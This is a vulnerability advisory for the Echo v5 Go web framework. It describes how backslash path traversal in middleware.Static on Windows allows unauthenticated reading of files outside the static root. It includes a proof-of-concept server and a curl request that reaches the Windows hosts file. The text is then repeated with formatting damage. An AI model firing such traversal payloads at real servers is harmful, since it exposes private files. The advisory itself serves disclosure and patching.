Summary
On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling
unauthenticated remote file read outside the static root.
Details
In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics).
path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting
path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS
which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\,
allowing traversal outside the static root.
Relevant code:
middleware/static.go (path unescape + path.Clean + currentFS.Open)echo.go defaultFS.Open → os.Open
This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean
- defaultFS combination reintroduces the Windows backslash traversal.
PoC
Windows only.
Sample code (main.go):
package main
import (
"log"
"net/http"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
// Important: use middleware.Static with default filesystem (nil)
e.Use(middleware.Static("public"))
e.GET("/healthz", func(c *echo.Context) error {
return c.String(http.StatusOK, "ok")
})
addr := ":1323"
log.Printf("listening on %s", addr)
if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
log.Fatal(err)
}
}Static file:
public/index.html
(content can be any HTML)
Run:
go run .
Verify:
curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404
Screenshot:
Impact
Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if middleware.Static is used with the default
filesystem.
References
Summary
On Windows, Echo’s
middleware.Staticusing the default filesystem allows path traversal via backslashes, enablingunauthenticated remote file read outside the static root.
Details
In
middleware/static.go, the requested path is unescaped and normalized withpath.Clean(URL semantics).path.Cleandoes not treat\as a path separator, so..\sequences remain in the cleaned path. The resultingpath is then passed to
currentFS.Open(...). When the filesystem is left at the default (nil), Echo usesdefaultFSwhich calls
os.Open(echo.go:792). On Windows,os.Opentreats\as a path separator and resolves..\,allowing traversal outside the static root.
Relevant code:
middleware/static.go(path unescape +path.Clean+currentFS.Open)echo.godefaultFS.Open→os.OpenThis is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the
path.CleanPoC
Windows only.
Sample code (main.go):
Static file:
public/index.html
(content can be any HTML)
Run:
go run .
Verify:
curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404
Screenshot:
Impact
Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if
middleware.Staticis used with the defaultfilesystem.
References